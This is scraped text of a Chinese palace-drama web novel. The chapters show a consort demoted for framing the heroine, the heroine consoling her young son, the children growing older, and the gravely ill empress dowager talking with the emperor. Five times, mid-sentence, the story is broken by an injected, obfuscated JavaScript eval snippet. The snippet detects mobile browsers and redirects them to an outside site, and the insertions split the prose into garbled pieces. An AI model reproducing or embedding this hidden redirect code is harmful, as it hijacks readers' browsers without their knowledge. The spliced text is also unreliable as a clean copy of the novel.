“这些年来,朕看在你父亲的面上,自问待你不薄。孩子你有了,位份你也有了,你还有什么不满足的?” “陛下,臣妾不是……臣妾没有……臣妾……” 眼看着事件败露,此时的范充容只是跪坐在地上,嘴里仍在说着断断续续的话。 她似乎还想说什么,只是内心似乎挣扎了许久之后,最后还是选择了闭嘴。 “张全和。”萧祈安直接无视了范充容的话,出声唤了一句候在一旁的张全和,“充容范氏,栽赃嫁祸后妃,情节恶劣。着降位为婕妤,即日起禁闭于钟粹宫紫藤阁一年,待遇月俸一律减半。三公主……送到仪淑妃身边暂时养着吧。这种心思恶劣的女人,不配抚养朕的孩子!” 听得萧祈安对范婕妤的处罚,夏韶宁还是微微吃了一惊。 其实降位禁足降待遇月俸之类的,都是常规操作了,从前有犯了错的宫妃萧祈安也是这么处罚她们的。 只是这一次萧祈安居然下令让三公主离开她的生母给别的妃子抚养,那还真的是很少见了。 就算当初还在潜邸的时候,沈充媛做了那么难看的事情,萧祈安都没有剥夺她对两个孩子的抚养权利。 而他如今这般做了,可想而知,范婕妤真的是将萧祈安惹恼了。 一直坐在外头的仪淑妃,甫一听到萧祈安居然要让她抚养三公主,那可真是喜不自胜。 于是她立刻站起身来快步走到萧祈安的面前,行了一礼道,“陛下放心,臣妾定会好好照顾三公主的!” “陛下!您罚臣妾就算了,为何要把心璇从臣妾身边夺走!她是臣妾九死一生生下的孩子,您不能如此狠心啊……” 范婕妤的声音随着她被拖出了紫宸宫越来越小,只是紫宸殿内的众人脸色都算不得十分好。 “各人带着各人的孩子都回宫吧,朕想静一静。” 殿内沉默了好一会儿,萧祈安这才缓缓出声了。 众人不敢再说什么,纷纷带着皇子公主们离开了。 第257章 孩子的心事 承乾宫。 “惜春,尚衣局刚好有个宫女到了年纪,但是她不想出宫。你想点办法随便把她调到哪个空置的宫殿里当个清闲的洒扫宫女,这个出宫的名额就让荷叶顶了,让她出宫吧。” 一回宫,夏韶宁便转头对着惜春吩咐了一声。 “娘娘您真是菩萨心,那荷叶这般陷害您,您还想着送她出宫。”含秋倒了一杯茶递给夏韶宁,语气里还是有些不服气。 “她在紫宸殿已经挨了十杖了,能不能活下去都还是未知数。我只不过是信守承诺帮她出宫而已,以后的路怎么走,还是得靠她自己。” 刚刚在紫宸殿说了太多话,这会儿的嗓子有些干疼。足足将一杯茶都喝空了,夏韶宁才觉得舒服了许多。 “昀儿怎么不说话?”将刚刚遗留的一些事情安排好了,夏韶宁这才注意到,自从从紫宸殿回到承乾宫以后,六皇子一直都没有说话。 要知道这小家伙平日里只要见着母妃总是叽叽喳喳地有说不完的话,如这般安静的时候,还真的是少见。 “母妃,后宫里的其他母妃是不是都不喜欢你,也不喜欢昀儿?” 六皇子垂头丧气地坐在椅子上,面上没了以往开朗的神情。整个人木讷讷的,宛如被霜打过的茄子。 听得六皇子这句话,夏韶宁心中一怔,想着刚刚的事情到底还是给孩子留下心理阴影了。 “昀儿为什么会这么想?” 此时的夏韶宁并没有同其他人一样,听得六皇子的疑问便立刻否认并且忙着哄着他说不是这样的。 她只是安安静静地坐到了六皇子的身边,询问他说这话的原因。 “范母妃平日里看着对母妃很尊重的样子,三妹也挺喜欢和我玩的,可是背地里她还是想要陷害母妃。” 皇家的孩子本就比普通百姓家的孩子成熟的早,虽然刚刚在紫宸殿六皇子并没有完全看懂发生了什么,但是他也隐隐约约看出来了,范婕妤她想要害自己的母妃。 “平日里在崇文馆的时候,大姐姐和大哥哥也时不时的会给我脸色瞧,说我不知羞一个人霸占了父皇的爱。还有五哥,他总是因为四哥对我好一些就和四哥吵架。他还说沈母妃一点儿都不喜欢母妃,也不喜欢我,让四哥离我远点才对!” 本来此时的六皇子情绪就很低落,说到这些事情,他更是觉得鼻子酸酸的。 他有些想哭,可是又记着父皇和母妃都和他说过,他是男子汉大丈夫,不可以遇到一点点小事就哭鼻子,所以愣是硬生生地将眼眶里的眼泪给忍住了。 看着眼前这个故作坚强的孩子,夏韶宁心里难过极了。 无论她给了昀儿多少爱,也无论萧祈安对昀儿有多偏爱,她似乎忘了,萧祈安他并不是昀儿一个人的父亲,这后宫里还有很多他的孩子,也有很多他的女人。 正因为萧祈安对昀儿那明晃晃的偏爱,昀儿这辈子或许注定会承受比其他人更多的压力。 想到这里,她一把就将六皇子搂进了怀里。 “昀儿说得对,这后宫里的确有很多人不喜欢我们母子。但是母妃也希望你明白,她们不喜欢我们,不是我们哪里做得不好,只是她们的选择不是我们而已。” “这个世界上每个人都是不一样的,所以你要允许有不喜欢你的人存在,你也要学会不要将那些不重要的人说的话做的事放在心里。你能明白母妃说的话吗?” 夏韶宁说这话的时候语速放得很慢,她希望昀儿能听明白她这番话的意思。 “有些明白,有些不明白。”六皇子毕竟不过一个四岁多一点的孩子,哪怕他再早熟,大人之间的那些是是非非他肯定是不能全部理解明白的。 听得六皇子这般实诚的话,夏韶宁没有生气,也没有选择就这件事情再继续深入地去同他解释了。 她只是温柔了看了六皇子一眼,随即伸出手来轻轻摸了摸他的头,低声道,“不明白的没关系,等昀儿长大了,自然就会明白了。” “如今你只需要记住,在这宫里母妃和父皇是对你最好最爱你的人。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15572635|168161||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 其他的人,对你好的,比如你二哥、二姐、四哥,你就可以多同他们来往。对你不好的,让你不舒服的人或者事情,你远离就好了。” “总而言之,不管是做什么事情,选择权永远都在你自己的手上。而你记住,不管你做出什么样的选择,母妃永远支持你!永远都站在你身后做你最坚强的后盾!” 夏韶宁没有去教六皇子如何反驳诸如大公主大皇子骂他的那些话。她只是告诉她的孩子,任何事情的选择权都在他自己的手上,不管他做什么选择,她这个做母妃的,永远都会无条件地支持他。 这是她作为一个母亲,能给她的孩子最好的礼物了。 果然,听得夏韶宁的这番话,刚刚还闷闷不乐的六皇子立刻就开心了起来。 他站起身来抱住了夏韶宁的脖子,随即十分正经地对着她说了一句,“母妃,昀儿好爱你!你是全世界最好最好的母妃!” 夏韶宁被六皇子这突如其来的表白惊住了,等她反应过来以后,这小子立刻就撒手从椅子上跳了下来。 “母妃!我去谢母妃和苏母妃的宫里找二哥哥和二姐姐玩了,前段时间二哥哥的舅舅送了他一只小狗,好可爱,我去看看!” 夏韶宁站起身来刚想嘱咐六皇子一声,这孩子就已经跑得没影了。 最后只听得夏韶宁对着那小小的背影大声喊道,“哎,你小心一点,别给狗咬了!早些回来!” “我从前一直以为,这群孩子们都还小,没想到如今这一个个都学会排挤人了!” 回想到刚刚六皇子同自己说的在崇文馆遇到的那些事情,夏韶宁便冷笑了一声。 “李顺,你找个机会同江夫子说一声,就说大公主、大皇子还有五皇子的功课完成得不好,让他多给他们几个布置点作业。” “呵,既然他们闲到有时间去排挤其他人,那定是夫子布置的作业不够多。多用些时间写作业,就没精力在背地里搞这些小九九了!” 想到这里,夏韶宁忍不住笑了起来。 第258章 时光飞跃术 光启十二年,春。 自从孩子们年纪渐长,萧祈安便定了个规矩,皇子超过八岁,就得搬到住到重华宫去居住了。 毕竟一个个半大小伙子站起来都快有他们母妃那么高了,再住在后宫里也不合适了。 只是每日在崇文馆上完课了以后,可以有一个时辰去向母妃请安的时间。 承乾宫。 今日天气尚好,苏昭容、谢修容、丽充容便相互约着一块儿来承乾宫找夏韶宁打叶子牌。 “不来了不来了,贵妃娘娘的手气也太好了,再打下去臣妾这个月的月俸都要输光了!” 谢修容把手里的叶子牌往桌上一丢,就开始对着夏韶宁撒起娇来。 “切,你这赖子,每次输钱了都爱耍赖!” 夏韶宁嘴上虽然是这么说的,但是却还是伸手将桌上的牌收了起来。 “谢姐姐别难过,你的月俸输光了,大不了臣妾分一半给您用呢!” 丽充容笑眯眯地看了谢修容一眼,说话的语气柔柔的。 “丽妹妹别听她乱说,她一天天花起钱来大手大脚的,哪儿是打牌把月俸输光的!” 苏昭容拿起手里的帕子捂着嘴笑了会儿,随即转过头对着谢修容道,“你说说吧,这才刚刚开春,你跑去尚衣局做了几身新衣裳了?” “我和你们这些养小子的怎么一样,我们皎皎长得快呢,那不得多做几身好看的衣裳?” 谢修仪瞪了苏昭容一眼,说话的语气里都是骄傲,“皎皎长大了,越来越好看了。” “说起来也是,孩子们都长大了,皎皎今年……都十四了吧?” 听得谢修仪的话,夏韶宁不禁感叹起这日子过得可是真的太快了。 “可不呢,二公主和二皇子今年都十四了。”苏昭容接过夏韶宁的话头,这会儿说话的语气里却带了些忧愁。 “怎么了?”相处这么些年了,夏韶宁早就对这几个人的性格熟悉得不能再熟悉了。 苏昭容早些年性子谨慎,后来与夏韶宁她们相处久了倒是放松了不少,但是她骨子里那种爱担心的脾气还是改不了。 “逸儿明年就十五了,按道理说来过个一两年就该大婚了。只是这孩子小的时候因为潜邸时的那场火灾,虽然如今说话是没什么问题,但是一着急了总爱打磕巴。” 想到这里,苏昭容忍不住重重地叹了一口气。 “这孩子有个这么个毛病,偏生性子还温和得不得了,平日里连大声说句话都不曾。臣妾就是害怕若是到时候圣上给逸儿指个厉害的皇子妃,他不得给人欺负死。” “哪家的女儿胆子这么大,连皇子都敢欺负?”听得苏昭容担心的居然是这个,夏韶宁有些无奈地笑了。 “圣上这人虽然平日里看上去对待孩子们很严格,但是孩子们的脾气性格他清楚着呢,不会乱给孩子们指婚的。” “说起来也是,大公主今年都十七了,大皇子也十六了,倒是没听见圣上要给这两个孩子指婚呢?” 听得夏韶宁提起萧祈安,谢修仪便也有些疑惑了,“按理说皇子倒是不急,只是大公主都十七了……俗话怎么说来着,女大不中留,留来留去留成仇啊!” “大公主和三皇子这么些年都是太后娘娘照看着,许是太后娘娘不舍得吧?” 想到每次看到自己都带着仇视目光的大公主,夏韶宁还是忍不住摇了摇头。 “大公主的性子一直很骄傲,三皇子……又有些拧巴。这两个孩子,说起来倒是挺麻烦。” 四人正说着话呢,却见惜春走到门口对着众人行了一礼道,“各位娘娘,二皇子、二公主、六皇子、七皇子来了。” “哦,这就放学了?”听得惜春的话,夏韶宁抬起头来往天上看了看,惊觉时间的确是不早了。 “去看看吧。”夏韶宁站起身来搭上了惜春的手往门口走了过去,其他三人便也跟着一道去了。 “给母妃们请安。”眼见着夏韶宁带着几人出来,孩子们立刻行起礼来。 “嗯,怎么一个个和霜打的茄子似的?今日上学不开心?” 夏韶宁看了看四个孩子的脸色,发现就连一直以来最没心没肺的七皇子,如今都是不太开心的样子,于是便越发觉得疑惑起来。 “嗯,今日上课我们被大姐姐骂了。” 眼见着其他人都不说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15572636|168161||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话,最后还是六皇子小声开口了。 “她好端端的骂你们做什么?你们又去惹她了?”看着六皇子那副样子,夏韶宁心里虽然生气,但是更多的是不解。 大公主与大皇子不喜欢这些弟弟妹妹是众所周知的事情,只是从那一次夏韶宁出手整顿了他们一次以后,两人倒是收敛了不少。 如这般光明正大的骂人,这些年来倒是从未有过。 “昭母妃,我们真没惹她!”听得夏韶宁的问话,七皇子连忙挡在六皇子面前出声了。 “我们今日本来都在同二姐姐说话,是大哥哥同二姐姐开了个玩笑说过两年父皇要给二姐姐选驸马了,然后不知道怎么的大姐姐好端端地就发脾气了。” “嗯,皎皎,是这样吗?”夏昭宁转过头来看了一眼二公主,“大公主说你们什么了?” “回昭母妃的话,七弟说的是真的。”二公主点了点头,“本来一开始大家只是课间休息的时候开个玩笑,大哥哥说我我都没吭声,也不知道大姐姐怎么就生气了。” “她说我们小小年纪就知道揣测父皇的心思了,说她年纪最长都还没谈这些,我做妹妹得凭什么就说这个了。哦对了,她还说……” 说到这里,二公主忽然停顿了一下,再开口,语气忽然放得很低。 “她还说皇祖母的身子最近似乎很不好,到时候万一皇祖母……,我们这些小辈们可是两年之内都不许婚嫁的!” “她五岁时太后娘娘就将她带在身边了,她怎么能当着你们兄弟姐妹的面说这种话?这可是大不敬啊!” 听得二公主的复述,谢修容满脸都是难以置信。 “说起来也是,太后娘娘的身子似乎从去年入冬开始就不好了。” 夏韶宁皱了皱眉头,想到了去年年底时萧祈安曾无意中对她提了一嘴太后的病情,只是她根本没在意罢了。 “没事,等会儿我让王厨娘给你们做酸甜酪吃,别生气了。” 夏韶宁伸出手来摸了摸四个孩子的脑袋,笑着道。 只一句话,就把四个孩子哄得好好的了。 “母妃真好!” “谢过昭母妃!” 第259章 太后病重 孩子们的话倒是让夏韶宁上了心,晚上萧祈安来承乾宫的时候,夏韶宁便直截了当地问他了。 这些年来,虽然后宫里通过选秀也陆陆续续地进了不少年轻貌美的宫妃,但是却再也没有孩子出生了,也没再见萧祈安特别宠爱哪一个女人。 他依旧十数年如一日的没事儿就爱往夏韶宁的承乾宫跑,其他诸如仪淑妃,纯德妃这种重臣之女,他偶尔也会去看一看。 但是后宫里最最得宠的,毫无疑问仍旧是夏韶宁。 “嗯,母后年纪大了,自然而然毛病就多了。”萧祈安压根没问夏韶宁是怎么知道这些事儿的,只是不咸不淡地答了一句。 “很严重吗?”看着萧祈安那张毫无波澜的脸,夏韶宁试探性地又问了一句,“太医怎么说的?” “太医说母后是去年入冬的时候受了一场很严重的风寒,一直没有好清楚,这就留下病根了。再加上这初春的天气忽冷忽热的,年纪大的人总是吃不消的。”萧祈安耐心地对着夏韶宁解释道。 “那怎么都没听陛下说让臣妾们去侍疾呢?”夏韶宁有些不解,“臣妾听说先帝朝那会儿太后病了,后宫的所有高位妃子都是得轮流去侍疾的。” “你们又不是太医,去了有什么用?再说母后宫里那么多伺候的人,还轮得着你们去侍什么疾?”萧祈安不以为意,“她整日麻烦朕一人就够了,你管着后宫这些事儿已经够烦了,别把你给累着了。” “唔,话虽然是这么说,但是如今臣妾知道了,不去一趟总是不好。” 虽然萧祈安这话说得好听,但是万一太后真的如大公主说的那般病得很严重,她这个贵妃甚至去都没去过一次,到时候那些言官还不知道要怎么骂她呢!说不定连昀儿都得被他们参上一本。 “行,刚好朕明日也要去一趟永寿宫,等大朝会结束以后朕来接你吧,咱们一块儿去。” “嗯,臣妾想想明日要带着什么东西去,哎……陛下……” “别想了,早些休息吧,朕累了好几天了,想你了……” 床边的床幔落下,一室旖旎。 *** 所谓意外之所以被称为意外,那就是因为谁都没有提前预料意外的本事。 谁能想到头一天晚上夏韶宁还在同萧祈安商量着今日要去永寿宫看看太后,第二天天儿都没亮,永寿宫的人直接就把萧祈安和夏韶宁请到太后那儿去了。 因为太后这一次,似乎病得很严重。 萧祈安满脸严肃地站在太后的床前,太医们战战兢兢地在地上跪了一排。 “前几日朕问你们的时候,你们还说母后的身子只是虚弱了些,没什么大毛病。这才过了几天啊?怎么人都醒不来了?!” 萧祈安看了一眼如今躺在床上面色苍白、昏迷不醒的太后,说话的声音都不知觉地提高了好几度。 “陛下息怒,这……这太后娘娘前几日身体的确是没什么大碍,微臣……微臣们也搞不明白太后娘娘的病情为何会进展得如此之快……” 为首的太医令跪在萧祈安面前,说话的声音里都带着颤抖。 “既然搞不清楚那就想办法好好搞清楚!朕每个月给你们发俸禄,不是为了听你们遇到事情的时候就用一句不清楚来搪塞朕的!” 萧祈安冷冷地瞥了太医令一眼,说出口的话一点儿感情都没有。 “陛下别着急,太后娘娘会没事儿的。” 眼见着萧祈安一副着急上火的样子,夏韶宁忙走上前去握了握他的手,示意他放松一些。 萧祈安盯着夏韶宁看了好一会儿,犹豫着要不要将心里想说的话说出来。顿了好一会儿,他还是缓缓开口了。 “朕知道提这个要求有些不合时宜,只是母后这一次的病情似乎很凶险,宁儿能不能……请公孙大夫来金州城一趟?” 早些年显庆帝被废太子和秦皇后下了毒,就是靠着公孙信硬生生地多留了他三个月的性命。 虽然在萧祈安的心里一直觉得自己对这个母后并没有多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15578270|168161||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 深的感情,但是她好歹给了自己一条生命,他肯定不能就这样眼睁睁地看着母后死在自己面前。 若是这样,他真的过不了自己心里那一关。 “臣妾明白了。”看着萧祈安满脸纠结地对着自己说出这句话,夏韶宁什么多余的话都没有说,只是缓缓点了点头。 与这个男人在一起这么多年了,夏韶宁早就已经明白他是个什么样的人了。 虽然有的时候在有些事情上,夏韶宁真的觉得萧祈安这个人还蛮绝情的,但是在大方向上,他从来不会偏离正轨。 …… 公孙信已经有十来年没有来过金州城了,没想到再来到这个地方,跨入这座皇宫,仍旧还是给皇室的人治病。 “朕又让公孙大夫破戒了。”看着如今站在自己面前已经不再年轻的公孙信,萧祈安面前尽是抱歉。 “反正都已经破过一次了,再多一次又如何?”这会儿的公孙信许是因为年纪大了,很多事情都看开了,对着萧祈安说起话倒是比十多年前要和善多了。 公孙信一边说,一边伸出手来给依旧昏迷不醒的太后把起脉来。只是随着他把脉的时间变长,刚刚还一脸轻松的公孙信,这会儿的脸色却忽然变得十分严肃起来。 “师父,如何了?”眼看着公孙信一直我不说话,等了好一会儿,夏韶宁到底还是忍不住开口了。 “太后娘娘这病,很棘手啊!”公孙信收了诊脉的帕子,不自觉地叹了一口气。 “可还有救?”看着公孙信这般表情,萧祈安的心里忽然就觉得沉重了起来。 “我只能试一试,但是不保证能治好。其实说白了,年纪大的人生病了都是在熬日子,也就是这日子长短的区别罢了。” 公孙信这话说得已经很直接了,大家都是聪明人,萧祈安和夏韶宁便也已经明白了。 也不知道殿内沉默了多久,萧祈安忽然就对着公孙信端端正正地行了一礼,“无论如何,还是要劳烦公孙大夫费心了!” 第260章 解不开的结(上) 在公孙信一日一日地试药、改药,反反复复地和太医沟通、治疗以后,一个很平常的午后,太后终于醒了过来。 “水……” 她醒过来的时候,夏韶宁正撑着头在一旁的椅子上打瞌睡,听得有声响,夏韶宁瞬间就睁开了眼睛。 “太后娘娘醒了?”夏韶宁走到太后身边观察了一下她的脸色,见她脸上看起来虽然还是十分苍白,但是到底比前几日好多了,于是急忙倒了一杯水服侍她喝了下去。 “难为你还肯来侍奉哀家。”太后喝完了水,便抬手示意夏韶宁将她扶起身来,靠在了布满靠垫的床头。 “太后娘娘病了,于情于理臣妾都该来服侍的。” 此时的夏韶宁看着眼前这个已经干瘦的毫无生气的女人,不知为何,忽然觉得她有些可怜。 一辈子不得自己丈夫的喜爱,只生了一个儿子与自己又丝毫不亲近。就算儿子当上皇帝她成了这天下最尊贵的太后,她还是过得不快乐。 许是夏韶宁面上的同情太过明显,太后费力地抬头看了她一眼,轻声道,“哀家知道你们都不喜欢我,其实有的时候哀家一个人待着的时候,是连自己都不喜欢自己的。” “太后娘娘恕罪,臣妾没有这个意思。” 听得太后又开始自怨自艾,夏韶宁虽然忍不住在心里翻了个白眼,但是表面上还是忙跪下身来给她请起罪来。 “你起来吧,哀家……想见一见安儿。” 这会儿的太后,早就已经没了从前面对后宫宫妃时那般的高高在上与嚣张跋扈。如今再看,不过就是一个不得儿子理解普通的母亲罢了。 “是,臣妾这就差人去通知圣上。” 夏韶宁又朝着太后行了一礼,这才缓缓从内殿了退了出来。 “李顺,你去一趟紫宸殿,告诉圣上太后娘娘醒了,娘娘很想见他。” 李顺点头应了,即刻去了。 紫宸殿。 “陛下,昭贵妃娘娘身边的首领太监来传话,说……太后娘娘醒了,想见陛下。” 张全和入了殿来的时候,萧祈安依旧被如山的政务堆的喘不过气来。听得张全和的话,他也不过是微微皱了皱眉头。 萧祈安拿着朱笔又批改完了一份奏折,这才放下笔缓缓道,“那就去看看。” 当萧祈安不紧不慢赶到永寿宫的外殿,夏韶宁正站在门口等着他。 “站在门口做什么,怎么不进去?”萧祈安伸手将夏韶宁从地上拉了起来,语气里有些不解。 “太后娘娘这会儿只想见陛下,不想看见其他人,所以臣妾就出来了。”夏韶宁回道。 其实夏韶宁这话并没有一丝夸大的成分,她刚刚守在殿内的时候的确是太后挥手让她出来的。但是这话落到了萧祈安的耳朵里,只觉得太后哪怕是病成这样了,还是那么刻薄不讲理。 “你守在永寿宫这么多天了,也辛苦了。等会儿让张全和去后宫传个朕的口谕,明日起九嫔以上的宫妃轮流来永寿宫给太后侍疾吧。” 萧祈安摸了摸夏韶宁微微凹下去的脸颊,语气温柔道,“回承乾宫休息吧,朕晚些时候去看你。” “是,只是陛下……”听得萧祈安的话,夏韶宁乖巧地点了点头,只是她不经意往永寿宫的内殿里看了看,还是轻声对着萧祈安道,“太后娘娘刚醒,身体还虚弱着呢,您同她说话的时候,还是多些耐心的好。” 萧祈安心里明白,夏韶宁这是怕他把好不容易醒过来的太后又给气着了,所以才斟酌着说了这番话。 只是哪怕这个时候了,他依旧觉得自己与母后心里的那个结,似乎真的很难解开。 “你放心吧,朕心里有数。”萧祈安对着她点了点头,抬脚就往永寿宫的内殿去了。 永寿宫内殿。 这会儿的太后刚刚在宫女的服侍下吃过了药,面色倒是比刚刚醒来的时候好了很多。 眼见着萧祈安面无表情地朝着自己走了过来,她的脸上便露出了已经许久都没有露出的笑容。 “安儿来了。”这会儿的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15578271|168161||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 太后似乎是为了拉近自己与萧祈安的距离,并没有称呼他为圣上,而是同小时候一样,叫了他一句安儿。 萧祈安忽然心中一怔。 在他的记忆里,自从父皇去世,母后当上太后以后,就再也没有人这么叫过自己了。 “母后可觉得好些了。”萧祈安撩起外袍坐在了太后床前的椅子上,说起话来像是在办公务。 “你肯来看母后,母后哪儿都觉得好了。” 太后看着眼前这个不知道何时已经蓄起了胡子的儿子,惊觉原来他也已经不是从前那个二十来岁的毛头小子了。 她有些费力地直起身子,想要伸出手来摸一摸萧祈安的头。可是无论她多努力,那只伸出的手始终还是离萧祈安有着不远的距离。 就像这些年,横亘在他们母子俩之间的那道虽然看不见也摸不着,但是似乎永远也无法逾越的鸿沟一般。 “安儿,这么多年了,你是不是还是很恨母后?” 也不知道沉默了多久,太后终于放下手来,缓缓开口了。 “朕为何要恨母后?这些年来,朕早就拥有了想要拥有的一切,为何要去恨一个在朕的生命里可有可无的人?” 听得太后的这个问题,萧祈安甚至连一丝犹豫都没有,这句话脱口而出。 “可有可无的人?”萧祈安这话说得轻飘飘的,可是入了太后的耳朵里,却深深地刺痛了她的心。 她忽然自嘲地笑了起来。 “难道不是吗?”看着太后这般苦笑,萧祈安却丝毫不想退让。 “从前朕与昭贵妃还没有孩子的时候,曾经以为这个世界上所有的母亲对待孩子都是如母后从前对待朕那样的。” “冷漠、无情,只顾着一味地责怪、贬低、打压孩子。” 说到这儿,萧祈安也笑了。 “可是当昭贵妃生下六皇子,朕全程看着她是如何照顾孩子、教育孩子、鼓励孩子的,朕才忽然发现,原来母后从前不是不会做一个好母亲,只是……您并不爱朕。” 第261章 解不开的结(下) “您似乎对这个世界上所有的事情都不满意。您不满意父皇经常去秦皇后和珍贵妃那里,您也不满意父皇只喜欢她们的孩子而不喜欢您的孩子。” “哪怕您后来也争过抢过,那也不过是因为您不服气自己要屈居其他人之下,而不是因为您真的爱朕、心疼朕得不到父皇的爱。” 萧祈安一边说,一边观察着太后的表情,却见她并没有同从前那般下意识地反驳,而是难得地沉默了。 “朕从小到大都是您手中的一个工具,哪怕后来长大了朕认识到这一点了,您也不肯为朕这个工具人多做一点点的事情。” “朕如今拥有的一切,全都是靠朕自己得来的!所以母后您说说,您难道不是朕生命里那个可有可无的人吗?” 这么多年了,其实萧祈安对待这些事情已经看得很淡了。可是今日由他自己这样残忍地、一点点撕开这些年来他与母后之间这层虚伪的面纱,萧祈安的声音里还是藏着一丝止不住的颤抖。 他虽然是皇帝,可是他也是个人。试问这个世界上,哪里会有人不期待父母对自己的爱的呢? “原来这么多年了,你一直都是这样看母后的。” 面对萧祈安这般一句接着一句的控诉,本应该很生气的太后,居然意外地觉得很平静。 “当年我入宫的时候只有十六岁,很多事情都不懂。先帝比我大那么多,他只不过对我稍微好那么一点点,我就以为他是我这辈子值得依赖的人。” “可是渐渐的我却发现,这后宫里的女人怎么那么多啊,先帝怎么每个女人好像都很喜欢啊。所以我害怕了,我开始对着先帝撒娇耍赖,强行将他留在我身边。但是很可惜,留得住他人也留不住他的心。” “后来我有了你,我便把所有的期望都放在你身上,希望先帝看在你的份上多来看看我。但是结果你也看到了,先帝厌弃了我,连带着你也不得他的喜欢。” 说到这里,太后忽然轻轻地拉住了萧祈安的手。 萧祈安虽然低着头不说话,但是却并没有推开她。 “母后那么小就当了母亲,很多事情都不懂。我不知道怎么教育你,甚至不知道如何与你相处。只是一味地将自己的不满统统发泄到你的身上。” “这些年我年纪大了,回过头来看的时候,才惊觉自己做了多少错事。但是没有办法,咱们母子俩,注定回不去了。” “千言万语还是一句话,这辈子是母后对不住你,若是有下辈子,咱们……还是不要做母子了。” 萧祈安从没见过太后如此冷静克制地对着他说过这么多的话,记忆里的母后,要么永远都在发脾气,要么就是无端端地躲在一边掉眼泪。 “您不必这样说。”萧祈安任由太后那双冰冷的手一直拉着自己,只是还是忍不住将头扭到了一边。 他忽然不知道该如何面对眼前的母亲。 “人生不过就是短短几千天,人人都会有死的那一天。我的身子我知道,大概也就这么些日子了。” “母后没有什么其他的愿望,就是希望死后你别将我葬在你父皇的身边。他生前就不喜欢我,死后……便让他留个清静吧,咳咳咳……” 说到这里,太后忽然剧烈地咳嗽了起来。 “母后!您别说了!公孙大夫医术高明,他不会让您就这样走的!” 哪怕萧祈安心中对太后有恨意,可是已经到了这个时候了,听得自己的母亲对着自己留遗言,萧祈安心里还是觉得很难过。 他伸出手来不住地为太后拍着背,试图让太后的咳嗽能停止下来。 “无妨,无妨。”太后拿起手中的帕子捂了捂嘴,对着萧祈安挥了挥手,示意他不要在意。 “心若今年已经十七了,是时候给她选个好驸马了。这孩子五岁时就到了我身边,别因为我的事让她白白耽误了两年的时间。” “朕已经在给心若物色驸马了,只是还没完全定下。若是顺利的话,年底她就能出嫁了。” 听得太后提起大公主,萧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15583018|168161||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 祈安便忙回了一句。 “年底太迟了,我等不到那个时候了。” 太后摇了摇头,休息了好一会儿,这才开口了。 “我娘家有个远房侄子,也是姓陈的,三月的殿试刚好中了个二甲同进士。那孩子今年刚刚二十岁,为人谦虚,性子温和,与心若正是相配。” “若是陛下不介意这孩子是我母家人,那便尽快将这两个孩子的婚事定下吧。驰儿成亲我是看不到了,我只想……只想看着我一手带大的孩子风风光光出嫁了,也就……死而无憾了!” 太后刚刚从昏迷中清醒过来,一下子又说了这么多话,这会儿已经是非常累了。 她已经没有力气支撑自己坐在床头了,而是缓缓的、一点一点地从床头滑进了被子里。 听得太后说的这些话,萧祈安也没出声。他只是微不可闻地叹了一口气,小心翼翼地替太后盖好了被子。 正当他想要回答太后的话的时候,萧祈安却发现眼前的太后已经闭上眼睛发出了均匀的呼吸声了。 想来是真的很累了,已经睡着了。 “照顾好太后,若是她要见朕,随时来紫宸殿禀报。” 萧祈安悄无声息地从内殿出来,顺手将门关好,转头对着永寿宫的宫人们吩咐了一句。 “陛下放心吧,奴婢知道的。”梅青姑姑看了一眼萧祈安,欲言又止。 